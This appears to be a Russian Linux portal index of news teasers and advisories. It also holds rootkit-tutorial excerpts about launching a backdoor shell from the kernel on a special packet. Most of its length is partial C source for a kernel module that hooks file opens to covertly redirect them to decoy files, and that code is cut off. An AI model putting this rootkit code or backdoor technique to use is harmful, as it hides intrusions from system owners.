Linux в принципе ненадежен!
Компания Green Hills, специализирующаяся на встраиваемых операционных системах реального времени, обвинила Linux в ее фундам…
Компания Green Hills, специализирующаяся на встраиваемых операционных системах реального времени, обвинила Linux в ее фундам…
Dan Aloni, 21-летний студент, расшевелил компьютерную мировую общественность, разработав Linux-приложение, работающее под оп…
В "круглом столе" участвуют:
Итак, все инструменты для анализ собраны - пора приступать к анализу данных. Начинать надо, понятное дело, с того, что может измениться в любой момент, а затем уже переходить к той информации, которая находится в относительно неизменном состоянии.
Met Office использует Linux-ПО для улучшения связи между университетскими исследовательскими департаментами, управления прог…
Переход на открытое программное обеспечение может обойтись компаниям дороже, нежели простое обновление установленных Unix- и…
Почему именно рассказ об оптимизации и о 7.3, а не о чем либо другом? Почему об оптимизации, начальной настройке читайте ниже, а почему 7.3? Наверное потому, что это самый удачный дистрибутив (из РедХат-подобных) для машин с процессорами ниже 1 Ггц и памятью менее 128Мб, сохраняющий оптимальное соотношение простота/скорость/актуальность
Представители стран Китая, Японии и Южной Кореи в эту субботу провели встречу в Пекине для обсуждения планов по раскрутке оп…
Сегодня стало доподлинно известно, что основная группа разработчиков кода ядра операционной системы Linux изъявила свое наме…
Предприятия могут сэкономить вплоть до 80 процентов благодаря переходу на Linux-серверы и настольные ПК, - заверяет всех Nov…
Компания F-Secure выпустила антивирусное программное обеспечение, работающее на Linux, для защиты open-source файловых серве…
Расследуя взлом системы можно столкнутся с ситуацией, когда скомпрометированная система еще не выключена пользователем или администратором. На самом деле это уникальный шанс собрать много важной информации, которая после перезагрузки будет потеряна
На днях в рекламе компании Fry's Electronics можно было заметить продающийся за $199 компьютер с процессором AMD Athlon XP и…
Компания Novell объявила о выходе новой версии дистрибутива SuSE Linux с номером версии 9.
Linux обеспечивает инфраструктуру, стоящую за передачей изображений с марсохода Mars Rover и за миссией Европейского космиче…
Hewlett-Packard и Microsoft, независимо друг от друга, заключили договоры с китайским правительством по предоставлению обору…
Программа: GNU coreutils до версии 5.2.0
Разработчики программного обеспечения Wind River Systems и Red Hat заявили на прошлой неделе о начале сотрудничества. Он…
Macromedia начнет экспериментировать с поддержкой Linux, выпуская версии своих утилит для разработчиков для open-source опер…
Фирма SCO, продолжающая войну с сообществом open-source, объявила о намерении подать в суд еще на одну крупную компанию, исп…
Компании ASPLinux и фирма «1С» объявили о начале совместной работы.
Ранее на этой неделе Microsoft без широкой огласки сообщила, что выбрала InterVideo, разработчика мультимедийного проигрыват…
Анализ хакерских атак на онлайновые службы, выполненный в январе британской консалтинговой фирмой mi2g, показал, что чаще вс…
Paul Starzetz сообщили о существовании уязвимости в коде ядра ОС Linux, в системном вызове mremap(). Прошлая уязвимость (мес…
Главные функции:
Hi! Итак, сегодня мы поговорим о том, как собрать все изученные фишки вместе и закодить полноценный руткит. Любой руткит должен уметь делать хотя бы 3 базовые фишки:
Компания IBM и Министерство финансов ФРГ заключили крупный контракт на поставку компьютерного оборудования на базе операцион…
25 января в рассылке разработчиков ядра Linux (LKML) было объявлено о возможности запуска ядра Linux как отдельного процесса…
Компания SCO не теряет надежды откусить свой кусок от пирога Linux. Будучи не в силах доказать факт кражи исходников Unix дл…
Microsoft начала еще одну атаку на своего основного врага - Linux. Компания собирается провести в ряде профессиональных ИТ-и…
Организация по развитию технологий на базе открытых исходников
Программа: Lotus Notes Domino 6.0.2 Уязвимость конфигурации обнаружена в Lotus Notes Domino на Linux системах. Локал…
Вышел новый эксплоит для уязвимости в ядре Linux.
Dan Warne на страницах электронного издания APCMag сообщает о том, что была пресечена попытка внесения вредоносного кода (бе…
Получение и отправление сетевых пакетов в ядре. Существует несколько способов посылать и принимать пакеты в ядре. Например, используя возможности встроенного firewall'а. Но лично мне больше нравится метод инсталяции своего packet handler'а (обработчика пакетов)
Hola, amigos! Запуск обычных user-land программ из ядра. Зачем это нужно? Для того чтобы, например, запускать shell или любой другой backdoor по получению специального пакета из сети. Из ядра можно запускать любые проги, в том числе интерпретатор языка Perl для выполнения скриптов
/* Redir by Alekz Under (skleroz@pisem.net) This module allows you to redirect files in your system. */ #define MODULE #define __KERNEL__ #include <linux/config.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/version.h> #include <linux/string.h> // include файлы нужные для работы с файловой системой #include <linux/slab.h> #include <linux/locks.h> #include <linux/fd.h> #include <linux/fs.h> #include <linux/smp_lock.h> struct file_operations * fop; struct file_operations orig_fop; struct nameidata kernel_nd; // структкра в которой мы будем хранить имена и иноды настоящего и обманного файлов struct redirect_struct { long int orig_ino, redir_ino; char * orig_fname, * redir_fname; struct redirect_struct *next, *prev; }; struct redirect_struct *redirects; int redirect_add(char *orig, char *redir); void redirect_del(char *orig); int wrap_open(struct inode *ino, struct file *filp); // эта функция по названию файла находит номер его inode'а long int get_inode_num(char *filename) { int err; long int inode_num; struct nameidata nd; if (path_init(filename, 0, &nd)) err = path_walk(filename, &nd); if (err) return 0; inode_num = nd.dentry->d_inode->i_ino; path_release(&nd); return inode_num; } int wrap_open(struct inode *ino, struct file *filp) { struct redirect_struct *redir; // просматриваем список редиректов // вместо связного списка можно использовать массив for(redir = redirects; redir != NULL; redir = redir->next) { // открываемый файл есть в нашем списке редиректов? if(filp->f_dentry->d_inode->i_ino == redir->orig_ino) { int ret; struct nameidata nd; // открываем обманный файл if (path_init(redir->redir_fname, 0, &nd)) ret = path_walk(redir->redir_fname, &nd); if (ret) /*error! файл не найден!*/ return -1; /* orig_fop.open(ino, filp); */ lock_kernel(); // закрываем настоящий файл dput(filp->f_dentry); // заменяем структуры так, что данные будут читаться из обманного файла, а не из настоящего filp->f_dentry = nd.dentry; unlock_kernel(); } } // вызываем настоящую open return orig_fop.open(ino, filp); } // эта функция добавляет файлы для редиректа в список int redirect_add(char *orig_fname, char *redir_fname) { struct redirect_struct *redir, *tmp; // заказываем память для структуры redir = kmalloc(sizeof(struct redirect_struct), GFP_ATOMIC); if(!redir) return -1; // память для имен файлов redir->orig_fname = kmalloc(strlen(orig_fname)+1, GFP_ATOMIC); redir->redir_fname = kmalloc(strlen(redir_fname)+1, GFP_ATOMIC); if(!redir->orig_fname || !redir->redir_fname) { kfree(redir); return -1; } strcpy(redir->orig_fname, orig_fname); strcpy(redir->redir_fname, redir_fname); // определяем номера инодов redir->orig_ino = get_inode_num(orig_fname); redir->redir_ino = get_inode_num(redir_fname); if(!redir->orig_ino || !redir->redir_ino) { kfree(redir->orig_fname); kfree(redir->redir_fname); kfree(redir); return -1; } if(!redirects) { redirects = redir; redirects->next = NULL; redirects->prev = NULL; return 0; } // ищем место куда воткнуть структуру редиректа // код сложный, так как производится сортировка по номерам inode'в, что бы быстрее просматривать этот список в wrap_open for(tmp = redirects; tmp->next != NULL; tmp = tmp->next) { if(tmp->orig_ino < redir->orig_ino) { redir->next = tmp; if(tmp == redirects) { redir->prev = NULL; redirects->prev = redir; redirects = redir; } else { redir->prev = tmp->prev; tmp->prev->next = redir; } return 0; } else if(redir->orig_ino == tmp->orig_ino) { // уже редиректим этот файл kfree(redir->orig_fname); kfree(redir->redir_fname); kfree(redir); return 0; } } // все номера inode'ов настоящих файлов больше redir->orig_ino - просто добавить структуру в конец списка redir->next = tmp->next; redir->prev = tmp; tmp->next = redir; return 0; } // эта функция удаляет структуру-редиректа из списка void redirect_del(char *orig) { struct redirect_struct *tmp; long int orig_ino = get_inode_num(orig); for(tmp = redirects; tmp != NULL; tmp = tmp->next) { if(tmp->orig_ino == orig_ino) { // нашли..
Хай пиплы! Эта статья посвящается классным girls: Юле, двум Аням, Наташе и Тане :-) Если ты не читал первую и вторую части, рекомендую все-таки прочитать ее перед тем как читать эту. После публикации первой части ко мне пришли письма с вопросами, поэтому я решил начать эту часть с нескольких советов по поводу часто встречающихся проблем: Если немножко не совпадают версии ядра с которым работаешь и для которого был скомпилирован модуль и insmod module.o пишет что-то типа:
Paul Starzetz и Wojciech Purczynski из польской группы iSEC Security Research сообщают об обнаружении уязвимости в ядрах Lin…
Вышел тестовый эксплоит для уязвимости в функции do_brk(), существующей в Linux. Уязвимость существует в версиях ядра до 2.4…